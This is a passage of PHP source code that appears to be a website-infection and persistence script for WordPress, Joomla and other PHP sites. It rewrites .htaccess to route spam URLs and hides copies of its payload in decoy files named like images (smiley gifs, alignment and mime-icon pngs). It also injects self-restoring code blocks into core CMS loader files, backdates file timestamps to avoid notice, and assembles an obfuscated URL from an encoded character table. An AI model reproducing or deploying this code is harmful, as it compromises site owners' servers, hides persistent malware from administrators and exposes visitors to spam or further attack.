	if (file_exists("$PreDir.htaccess")){
		@chmod("$PreDir.htaccess",0755);
		$strhtt = file_get_contents("$PreDir.htaccess");	
	}
		
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
		
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
		
	}
		
	if(1){
		

		$r0 = '#(.*RewriteEngine On.*)#i';
		$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		



		

		if(JDT == 0){
			
			
			$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$  xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  xmlmap/\$1 [L]' . PHP_EOL ;
		
			$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$  xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  xmlmap/\$1 [L]' . PHP_EOL .'RewriteRule' ;
		
			
		}else{
			
			
			$rsut = '\1'. PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
		
			$rsut2 =  PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL   .'RewriteRule' ;	
		
			
		}





		
			if(preg_match($r0,$strhtt)){
				$strhtt = preg_replace($r0,$rsut,$strhtt,1);
			}elseif(preg_match($r1,$strhtt)){
				$strhtt = preg_replace($r1,$rsut,$strhtt,1);
			}else{
				$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
			}
		
		if(JDT == 1 or JDT == 0){
			file_put_contents("$PreDir.htaccess", $strhtt);		
			}
	}
	
	
		
	$str = file_get_contents(__FILE__);
	if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
		$str = str_replace('define("JGNUM","50");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str);
		echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";
	}
	
	if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
		$str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);	
		echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";
	}	
	
	preg_match('#w{6}forbg(.*?)w{6}forend#si',$str,$matchPut);
	$backStr = $matchPut[1];
			

	
	
	$$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
	

	generate_dir_file($backupfile1);
	generate_dir_file($backupfile2);


	if($backStr){
		$backStr = '<'.'?php'.PHP_EOL .$backStr;
	if(isset($backupfile1) && $backupfile1){
		if(file_put_contents($backupfile1,$backStr))
			$flagRdir1 = 1;
		else
			$flagRdir1 = 0;
	}
	
	if(isset($backupfile2) && $backupfile2){
		if(file_put_contents($backupfile2,$backStr))
			$flagRdir2 = 1;
		else
			$flagRdir2 = 0;
	}
	
	@touch($backupfile1, $fitime, $fitime);   
	@touch(dirname($backupfile1), $fitime, $fitime);   
	@touch($backupfile2, $fitime, $fitime); 
	@touch(dirname($backupfile2), $fitime, $fitime); 
	

	}	
	
	$arrTemps = explode('/',GETDOM);
	$tpNum = count($arrTemps);
	$dateArr = array();

	$dateArr['dom'] = $thisdom;
	$dateArr['myFile'] = get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
	$dateArr['indexhyFile'] = __FILE__;
	$dateArr['mbFile'] = str_replace('index.php','template.html',$dateArr['indexhyFile']);
	$dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess";
	$dateArr['act'] = 'pt';
	$dateArr['moshi'] = JDT;
	$dateArr['bzpro'] = BZPRO;
	$dateArr['bao'] = $arrTemps[$tpNum-2];

			 
	if($backupfile1){
		$bfileurl1 = get_scheme() .'://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
		$dateArr['backupfile1'] = $bfileurl1;
	}
	if($backupfile2){
		$bfileurl2 = get_scheme() .'://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
		$dateArr['backupfile2'] = $bfileurl2;
	}


	$nowDirName = @end(explode(DIRECTORY_SEPARATOR,dirname(__FILE__)));
	
	if($sysType == 'wp'){
		$ckLocalFile1 = '../wp-includes/load.php';
		$ckLocalFile2 = '../wp-includes/template-loader.php';
		
		if(!is_dir("../wp-includes"))
			@mkdir("../wp-includes",0755);
		
		if(is_dir("../wp-includes/images/smilies/")){
			$bkLocalFileIndex1 = '../wp-includes/images/smilies/icon_reds.gif';
			$bkLocalFileHtac1 = '../wp-includes/images/smilies/icon_blacks.gif';
			$bkLocalFileMoban1 = '../wp-includes/images/smilies/icon_greens.gif';
		}else{
			$bkLocalFileIndex1 = '../wp-includes/class-wp-customize-settings.php';
			$bkLocalFileHtac1 = '../wp-includes/class-wp-customize-panels.php';
			$bkLocalFileMoban1 = '../wp-includes/class-wp-customize-controls.php';
		}


		if(!is_dir("../wp-admin"))
			@mkdir("../wp-admin",0755);
		
		
		if(is_dir("../wp-admin/images/")){
			$bkLocalFileIndex2 = '../wp-admin/images/align-lefts.png';
			$bkLocalFileHtac2 = '../wp-admin/images/align-rights.png';
			$bkLocalFileMoban2 = '../wp-admin/images/align-centers.png';
		}else{
			$bkLocalFileIndex2 = '../wp-admin/options-writings.php';
			$bkLocalFileHtac2 = '../wp-admin/options-medias.php';
			$bkLocalFileMoban2 = '../wp-admin/options-discussions.php';
		}
	
		
		$nmbf1 = './template.html';
		$nmbf2 = './'.$nowDirName.'/template.html';
		$nowLogFileI = './'.$nowDirName.'/logs.txt';
		$nowIndexFile = './index.php';
		$nowIndexFileI = './'.$nowDirName.'/index.php';
		if(JDT == 1){
			$nowHtacFile = './.htaccess';
			$nowHtacFileI = './'.$nowDirName.'/.htaccess';
		}elseif(JDT == 0){
			$nowHtacFile = '../.htaccess';
			$nowHtacFileI = './.htaccess';
		}else{
			$nowHtacFile = '';
			$nowHtacFileI = '';
		}
		
		$strNowIndex = file_get_contents($nowIndexFile);
		
		$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';	$strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si';
	$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
		$strNowIndex = $strNowIndex2;
		
				
		$strNowMoban = file_get_contents($nmbf1);
		$strNowHtac = file_get_contents($nowHtacFile);
		
		if(file_exists($ckLocalFile1)){
			
			$strCkLocalFile1 = file_get_contents($ckLocalFile1);
			@chmod($ckLocalFile1,0755);

			if(stristr($strCkLocalFile1,'function require_wp_db')){
				$rpRpFind = 'function require_wp_db';
			}elseif(stristr($strCkLocalFile1,'function timer_start')){
				$rpRpFind = 'function timer_start';
			}else{
				$rpRpFind = false;
			}
			
			
			file_put_contents($bkLocalFileIndex1,$strNowIndex);
			file_put_contents($bkLocalFileMoban1,$strNowMoban);
			file_put_contents($bkLocalFileHtac1,$strNowHtac);
			@touch($bkLocalFileIndex1, $fitime, $fitime);   
			@touch($bkLocalFileMoban1, $fitime, $fitime);   
			@touch($bkLocalFileHtac1, $fitime, $fitime);
			
			$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
			
			$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
			$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
			$NowPutStrI .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
			$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
			$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileIndex1)."';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileHtac1)."';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileMoban1)."';".PHP_EOL;
			
			
			$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}';
			
			
	$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
	
	if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
		
		$rsck1 = '#//ck1bg.*?//ck1end#si';
		$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
	

		
	}else{
		
		if(!$rpRpFind){
			$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
		}else{
			$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
		}
		
	}
	
			file_put_contents($ckLocalFile1,$strCkLocalFile1);

			@touch($ckLocalFile1, $fitime, $fitime);

			
		}
		
		
		if(file_exists($ckLocalFile2)){
			
			$strckLocalFile2 = file_get_contents($ckLocalFile2);
			@chmod($ckLocalFile2,0755);

			if(stristr($strckLocalFile2,'function require_wp_db')){
				$rpRpFind = 'function require_wp_db';
			}elseif(stristr($strckLocalFile2,'function timer_start')){
				$rpRpFind = 'function timer_start';
			}else{
				$rpRpFind = false;
			}
			

			
			file_put_contents($bkLocalFileIndex2,$strNowIndex);
			file_put_contents($bkLocalFileMoban2,$strNowMoban);
			file_put_contents($bkLocalFileHtac2,$strNowHtac);
			@touch($bkLocalFileIndex2, $fitime, $fitime);   
			@touch($bkLocalFileMoban2, $fitime, $fitime);   
			@touch($bkLocalFileHtac2, $fitime, $fitime);
			
			$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
			
			$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
			$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
			$NowPutStrTwo .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
			$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
			$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
			$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileIndex2)."';".PHP_EOL;
			$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileHtac2)."';".PHP_EOL;
			$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileMoban2)."';".PHP_EOL;
			
			
			$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex2)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2)  && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban2)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban2)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban2);
				@chmod($bkLocalFileMoban2,0755);
				@file_put_contents($bkLocalFileMoban2,$tpstrMb);
				@touch($bkLocalFileMoban2, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban2,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
				@chmod($bkLocalFileMoban2,0755);
			}
		}
	}
	
}';
			
			
	$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
	
	if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
		
		$rsckII = '#//ckIIbg.*?//ckIIend#si';
		$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
	

		
	}else{
		$strckLocalFile2 = '<'.'?php'. PHP_EOL .$NowPutStrTwo. PHP_EOL . '?>'.PHP_EOL . $strckLocalFile2;
	}
	
			file_put_contents($ckLocalFile2,$strckLocalFile2);

			@touch($ckLocalFile2, $fitime, $fitime);

			
		}
		
		
	}elseif($sysType == 'Joomla'){

		
		$ckLocalFile1 = '../libraries/loader.php';
		$ckLocalFile2 = '../includes/framework.php';
		
		if(!is_dir("../templates"))
			@mkdir("../templates",0755);
		
		if(!is_dir("../templates/system"))
			@mkdir("../templates/system",0755);
		
		if(!is_dir("../templates/system/images"))
			@mkdir("../templates/system/images",0755);
		
		
		$bkLocalFileIndex1 = '../templates/system/images/i_button1_blank.png';
		$bkLocalFileHtac1 = '../templates/system/images/i_button1_image.png';
		$bkLocalFileMoban1 = '../templates/system/images/i_button1_left.png';
		


		if(!is_dir("../media"))
			@mkdir("../media",0755);
		
		if(!is_dir("../media/media"))
			@mkdir("../media/media",0755);
		
		if(!is_dir("../media/media/images"))
			@mkdir("../media/media/images",0755);
		
		if(!is_dir("../media/media/images/mime-icon-16"))
			@mkdir("../media/media/images/mime-icon-16",0755);
		
		
		$bkLocalFileIndex2 = '../media/media/images/mime-icon-16/mp3s.png';
		$bkLocalFileHtac2 = '../media/media/images/mime-icon-16/mp4s.png';
		$bkLocalFileMoban2 = '../media/media/images/mime-icon-16/odcs.png';
		
	
		
		$nmbf1 = './template.html';
		$nmbf2 = './'.$nowDirName.'/template.html';
		$nowLogFileI = './'.$nowDirName.'/logs.txt';
		$nowIndexFile = './index.php';
		$nowIndexFileI = './'.$nowDirName.'/index.php';
		if(JDT == 1){
			$nowHtacFile = './.htaccess';
			$nowHtacFileI = './'.$nowDirName.'/.htaccess';
		}elseif(JDT == 0){
			$nowHtacFile = '../.htaccess';
			$nowHtacFileI = './.htaccess';
		}else{
			$nowHtacFile = '';
			$nowHtacFileI = '';
		}
		
		$strNowIndex = file_get_contents($nowIndexFile);
		
		$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';	$strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si';
	$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
		$strNowIndex = $strNowIndex2;
		
				
		$strNowMoban = file_get_contents($nmbf1);
		$strNowHtac = file_get_contents($nowHtacFile);
		
		if(file_exists($ckLocalFile1)){
			
			$strCkLocalFile1 = file_get_contents($ckLocalFile1);
			@chmod($ckLocalFile1,0755);

			if(stristr($strCkLocalFile1,'// Check if jexit')){
				$rpRpFind = '// Check if jexit';
			}elseif(stristr($strCkLocalFile1,'function jimport')){
				$rpRpFind = 'function jimport';
			}else{
				$rpRpFind = false;
			}
			
			
			file_put_contents($bkLocalFileIndex1,$strNowIndex);
			file_put_contents($bkLocalFileMoban1,$strNowMoban);
			file_put_contents($bkLocalFileHtac1,$strNowHtac);
			@touch($bkLocalFileIndex1, $fitime, $fitime);   
			@touch($bkLocalFileMoban1, $fitime, $fitime);   
			@touch($bkLocalFileHtac1, $fitime, $fitime);
			
			$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
			
			$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
			$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
			$NowPutStrI .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
			$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
			$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileIndex1)."';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileHtac1)."';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileMoban1)."';".PHP_EOL;
			
			
			$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}';
			
			
	$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
	
	if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
		
		$rsck1 = '#//ck1bg.*?//ck1end#si';
		$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
	

		
	}else{
		
		if(!$rpRpFind){
			$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
		}else{
			$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
		}
		
	}
	
			file_put_contents($ckLocalFile1,$strCkLocalFile1);

			@touch($ckLocalFile1, $fitime, $fitime);

			
		}
		
		
		if(file_exists($ckLocalFile2)){
			
			$strckLocalFile2 = file_get_contents($ckLocalFile2);
			@chmod($ckLocalFile2,0755);

			if(stristr($strckLocalFile2,'ob_end_clean')){
				$rpRpFind = 'ob_end_clean';
			}elseif(stristr($strckLocalFile2,'// System configuration')){
				$rpRpFind = '// System configuration';
			}else{
				$rpRpFind = false;
			}
			

			
			file_put_contents($bkLocalFileIndex2,$strNowIndex);
			file_put_contents($bkLocalFileMoban2,$strNowMoban);
			file_put_contents($bkLocalFileHtac2,$strNowHtac);
			@touch($bkLocalFileIndex2, $fitime, $fitime);   
			@touch($bkLocalFileMoban2, $fitime, $fitime);   
			@touch($bkLocalFileHtac2, $fitime, $fitime);
			
			$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
			
			$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
			$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
			$NowPutStrTwo .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
			$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
			$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
			$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../media/','./media/',$bkLocalFileIndex2)."';".PHP_EOL;
			$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../media/','./media/',$bkLocalFileHtac2)."';".PHP_EOL;
			$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../media/','./media/',$bkLocalFileMoban2)."';".PHP_EOL;
			
			
			$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex2)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2)  && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban2)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban2)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban2);
				@chmod($bkLocalFileMoban2,0755);
				@file_put_contents($bkLocalFileMoban2,$tpstrMb);
				@touch($bkLocalFileMoban2, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban2,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
				@chmod($bkLocalFileMoban2,0755);
			}
		}
	}
	
}';
	
	$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
	
	if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
		
		$rsckII = '#//ckIIbg.*?//ckIIend#si';
		$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
	
	}else{
		
		if(!$rpRpFind){
			$strckLocalFile2 = $strckLocalFile2.PHP_EOL .$NowPutStrTwo;
		}else{
			$strckLocalFile2 = str_replace($rpRpFind,$NowPutStrTwo.$rpRpFind,$strckLocalFile2);
		}
		
	}
	
			file_put_contents($ckLocalFile2,$strckLocalFile2);

			@touch($ckLocalFile2, $fitime, $fitime);

			
		}
		
		
	}else{
		
		$ckLocalFile1 = '../index.php';
		
		if(!is_dir("../images"))
			@mkdir("../images",0755);
		
		$bkLocalFileIndex1 = '../images/logo_s.jpg';
		$bkLocalFileHtac1 = '../images/head_s.jpg';
		$bkLocalFileMoban1 = '../images/banner_s.jpg';
		
		$nmbf1 = './template.html';
		$nmbf2 = './'.$nowDirName.'/template.html';
		$nowLogFileI = './'.$nowDirName.'/logs.txt';
		$nowIndexFile = './index.php';
		$nowIndexFileI = './'.$nowDirName.'/index.php';
		if(JDT == 1){
			$nowHtacFile = './.htaccess';
			$nowHtacFileI = './'.$nowDirName.'/.htaccess';
		}elseif(JDT == 0){
			$nowHtacFile = '../.htaccess';
			$nowHtacFileI = './.htaccess';
		}else{
			$nowHtacFile = '';
			$nowHtacFileI = '';
		}
		
		$strNowIndex = file_get_contents($nowIndexFile);
		
		$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';	$strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si';
	$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
		$strNowIndex = $strNowIndex2;
		
				
		$strNowMoban = file_get_contents($nmbf1);
		$strNowHtac = file_get_contents($nowHtacFile);
		
		if(file_exists($ckLocalFile1)){
			
			$strCkLocalFile1 = file_get_contents($ckLocalFile1);
			@chmod($ckLocalFile1,0755);

			
			file_put_contents($bkLocalFileIndex1,$strNowIndex);
			file_put_contents($bkLocalFileMoban1,$strNowMoban);
			file_put_contents($bkLocalFileHtac1,$strNowHtac);
			@touch($bkLocalFileIndex1, $fitime, $fitime);   
			@touch($bkLocalFileMoban1, $fitime, $fitime);   
			@touch($bkLocalFileHtac1, $fitime, $fitime);
			
			$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
			
			$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
			$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
			$NowPutStrI .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
			$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
			$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../images/','./images/',$bkLocalFileIndex1)."';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../images/','./images/',$bkLocalFileHtac1)."';".PHP_EOL;
			$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../images/','./images/',$bkLocalFileMoban1)."';".PHP_EOL;
